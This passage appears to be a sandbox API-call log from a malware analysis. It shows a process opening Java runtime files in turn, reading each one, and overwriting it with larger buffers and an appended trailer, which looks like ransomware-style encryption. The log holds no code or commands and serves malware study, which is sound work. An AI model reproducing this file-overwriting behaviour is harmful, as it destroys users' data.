(lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.825] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.825] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4302a [0047.825] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.825] ReleaseMutex (hMutex=0x128) returned 1 [0047.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PYCC.pf", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PYCC.pf", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PYCC.pf", lpUsedDefaultChar=0x0) returned 7 [0047.825] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.848] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4202a [0047.848] ReadFile (in: hFile=0x1d4, lpBuffer=0x280ed88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x280ed88*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.873] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4202a [0047.873] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dab438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab438*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.873] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.873] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.874] CloseHandle (hObject=0x1d4) returned 1 [0047.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.874] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.874] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xc97 [0047.874] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.874] ReleaseMutex (hMutex=0x128) returned 1 [0047.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_it.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0047.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_it.properties", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_it.properties", lpUsedDefaultChar=0x0) returned 22 [0047.874] ReadFile (in: hFile=0x1d4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0xc97, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2a0f2bc*=0xc97, lpOverlapped=0x0) returned 1 [0047.887] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0047.887] WriteFile (in: hFile=0x1d4, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x121f, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2a0f2d0*=0x121f, lpOverlapped=0x0) returned 1 [0047.887] CloseHandle (hObject=0x1d4) returned 1 [0047.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.898] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.899] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x148f8 [0047.899] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.899] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.899] ReleaseMutex (hMutex=0x128) returned 1 [0047.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="access-bridge-32.jar", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0047.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="access-bridge-32.jar", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="access-bridge-32.jar", lpUsedDefaultChar=0x0) returned 20 [0047.899] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.136] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x138f8 [0048.136] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.156] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x138f8 [0048.156] WriteFile (in: hFile=0x1ac, lpBuffer=0x276c988*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c988*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.728] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0048.728] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.728] CloseHandle (hObject=0x1ac) returned 1 [0048.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.735] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.735] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xf58 [0048.735] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.736] ReleaseMutex (hMutex=0x128) returned 1 [0048.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flavormap.properties", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0048.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flavormap.properties", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flavormap.properties", lpUsedDefaultChar=0x0) returned 20 [0048.736] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0xf58, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2a0f2bc*=0xf58, lpOverlapped=0x0) returned 1 [0048.757] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.757] WriteFile (in: hFile=0x1ac, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x14e0, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2a0f2d0*=0x14e0, lpOverlapped=0x0) returned 1 [0048.760] CloseHandle (hObject=0x1ac) returned 1 [0048.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.765] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.765] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3b40c [0048.765] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.765] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.765] ReleaseMutex (hMutex=0x128) returned 1 [0048.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaTypewriterRegular.ttf", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaTypewriterRegular.ttf", cchWideChar=27, lpMultiByteStr=0x1e7faec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaTypewriterRegular.ttf", lpUsedDefaultChar=0x0) returned 27 [0048.765] ReadFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0048.770] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3a40c [0048.770] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.771] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3a40c [0048.771] WriteFile (in: hFile=0x1ac, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.771] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0048.771] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0048.772] CloseHandle (hObject=0x1ac) returned 1 [0048.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.772] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.772] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1d [0048.772] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.772] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.772] ReleaseMutex (hMutex=0x128) returned 1 [0048.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javafx.properties", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javafx.properties", cchWideChar=17, lpMultiByteStr=0x1e7894c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javafx.properties", lpUsedDefaultChar=0x0) returned 17 [0048.772] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e7fb18, nNumberOfBytesToRead=0x1d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e7fb18*, lpNumberOfBytesRead=0x2a0f2bc*=0x1d, lpOverlapped=0x0) returned 1 [0048.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.773] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a5, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5a5, lpOverlapped=0x0) returned 1 [0048.773] CloseHandle (hObject=0x1ac) returned 1 [0048.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.access" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xf9e [0048.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.774] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.774] ReleaseMutex (hMutex=0x128) returned 1 [0048.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jmxremote.access", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jmxremote.access", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jmxremote.access", lpUsedDefaultChar=0x0) returned 16 [0048.774] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b358, nNumberOfBytesToRead=0xf9e, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2a0f2bc*=0xf9e, lpOverlapped=0x0) returned 1 [0048.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0048.776] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1526, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1526, lpOverlapped=0x0) returned 1 [0048.776] CloseHandle (hObject=0x1ac) returned 1 [0048.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.777] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2562c0 [0048.777] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.777] ReleaseMutex (hMutex=0x128) returned 1 [0048.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="resources.jar", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="resources.jar", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="resources.jar", lpUsedDefaultChar=0x0) returned 13 [0048.777] ReadFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.778] ReadFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.780] ReadFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.780] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2542c0 [0048.780] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.782] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2542c0 [0048.783] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0048.783] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0048.783] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.783] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.783] WriteFile (in: hFile=0x1ac, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x2a0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0048.783] CloseHandle (hObject=0x1ac) returned 1 [0048.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\sound.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.784] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.784] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4ba [0048.784] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0048.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.784] ReleaseMutex (hMutex=0x128) returned 1 [0048.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sound.properties", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sound.properties", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sound.properties", lpUsedDefaultChar=0x0) returned 16 [0048.784] ReadFile (in: hFile=0x1ac, lpBuffer=0x2742168, nNumberOfBytesToRead=0x4ba, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, 